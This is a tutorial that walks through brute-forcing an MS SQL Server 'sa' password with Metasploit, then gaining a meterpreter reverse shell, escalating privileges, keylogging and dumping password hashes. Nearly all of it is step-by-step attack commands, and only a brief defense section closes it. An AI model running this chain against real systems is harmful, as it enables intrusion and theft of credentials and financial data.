In this attack, we will use a standard install of Linux Kali and the preinstalled Metasploit framework. The target is a Windows XP machine, running a Microsoft SQL Server 2005 instance. The same attack will work on any MS SQL platform and Windows OS, because the weakness in the system here is the password strength, not the environment itself. Reconnaissance As in any attack, we will first need to gather intelligence on our target system. One option is to use tools like NMAP to scan a certain IP range for standard SQL ports. Command: Nmap –sT –A –PO 192.168.23.0/24 Metasploit also has the mssql_ping scanner built in. This scanner will identify any Microsoft SQL server in a specific IP range. Commands: use auxiliary/scanner/mssql/mssql_ping set RHOSTS 192.168.23.0/24 (our target IP range) set THREADS 8 run Now that we have our target system (192.168.23.100) and some more details on the version of Microsoft SQL server (2005 SP4, TCP port 1433), we can move on to the next step. Attack This attack is based on a simple principle. In most cases Microsoft SQL server will be installed in a mixed mode instance. The default user for this is “sa.” Very often a simple password is used for this user. This means it will be relatively easy to brute-force the password, using a dictionary file. These dictionary files can be downloaded or generated. The benefit of generating a customized list is that some tools allow for the manual addition of specific terms such as the software name or vendor that could have been used by the application installer. That would cover, for instance, a password like “Sandstone01” for the SQL instance running the databases for the application “Sandstone”. For the attack we will use the built-in tool MSSQL_Login. After specifying the target and a password file, the dictionary attack will begin.
Commands: use auxiliary/scanner/mssql/mssql_login Set PASS_FILE /root/passwords.txt (the dictionary file) Set RHOSTS 192.168.23.100 Set Threads 8 Set verbose false run If this step of the attack is successful, the SA password will be found. This by itself can be a valuable piece of information that can allow for the manipulation of the databases. In this attack, however, we will use the SA account to gain access to the underlying Windows operating system. Exploitation We can now use this SA password obtained to set up a connection to our target. Kali Linux has a tool built-in named mssql_payload. This tool will allow us to send a payload through port 1433 with our new login credentials. We will use this payload to set up a session between the target and our attacking system. Commands: use exploit/windows/mssql/mssql_payload set RHOST 192.168.23.100 (our target) set password Password01 (which we have just cracked) use payload/windows/meterpreter/reverse_tcp (our selected payload) exploit
Now the fun starts. A session has been opened to our target and from here we have many commands at our disposal. Keep in mind, however, that many antivirus programs will detect, block, and remove the Meterpreter files when they are installed on a target system. From experience, however, I can say that many SQL server administrators disable any form of on-access scanning, to get the most performance out of the databases hosted by the server. If this target only runs, for instance, an overnight virus scan, it will leave plenty of time to attack and gather the data from the system and then leave undetected. Instead of using the Meterpreter payload, other payloads can be used as well. This is just a matter of running the same commands as above but changing the name of the payload. Payload “generic/shell_bind_tcp,” for instance, will gain command prompt access to the target system. Privilege Escalation For many of these commands, we will need to increase our user access level. Tools to create screenshots and keyloggers and tools to extract password hashes will need to run with administrative privileges. This is made quite easy with the Meterpreter shell. First, we will generate a list of running processes with the “ps” command. We can then use the “migrate” command to migrate to a process with a higher level of system access. In this case that will be the explorer.exe process. Now there is one extra command we need to use: getsystem. This will give the meterpreter system access to the system which is required by the migrate command. Without this, “insufficient privileges” will be returned when running the migrate process. Commands: Ps (this will show the running processes and their corresponding PID’s) Getsystem (to obtain system privileges) Migrate 1064 (the explorer.exe PID in this example)
Data Collection Now that we have full system access, we can use some other tools to gather the data we need. Command: Screenshot This will create a screenshot of the target and save this as a jpeg file to the local system.
Command: Run post/windows/capture/keylog_recorder This will run a keylogger on the target and save the recoded text to a file on the local system. This can be used to obtain web login details, bank accounts and credit card information, etc. Many anti-virus programs, however, can easily pick up this keylogger.
Command: Migrate 772 (The PID for services.exe) Run post/windows/gather/hashdump User passwords in a system are usually stored in the form of one-way hash values. These can be cracked by sheer brute force or by more sophisticated, related attacks, such as dictionary or rainbow table cracking methods. See my article on that topic: “Password Auditing an Active Directory Databases.” To obtain the hash values from the target system, we will need to migrate to the services.exe process to be able to get the right level of system access. These values can be used in the many password brute-force tools available, such as Ophcrack and Hashcat.
The Result In this process of a few relatively easy steps, we have bypassed any possible firewall by using an open SQL Server port and have not only gained full database access, but we have used that to gain full operating system access. The keylogger and extracted password hashes might even gather more useful network details, such as usernames and passwords, to gain further access to other systems. How to Defend against This attack. There are a few options to protect a system from this attack. First of all: Use a proper password! No matter what the reason is, a production SQL server should never have a simple SA password that can be brute-forced without much effort. Apart from that, an intrusion detection system or simply monitoring the logs automatically or manually could detect a brute-force attack due to the high amount of failed login attempts. Another method of defense would be to run an active antivirus scan on the system 24/7. In this example, the payload would have been picked up and deleted or quarantined before the attack could compromise any data.
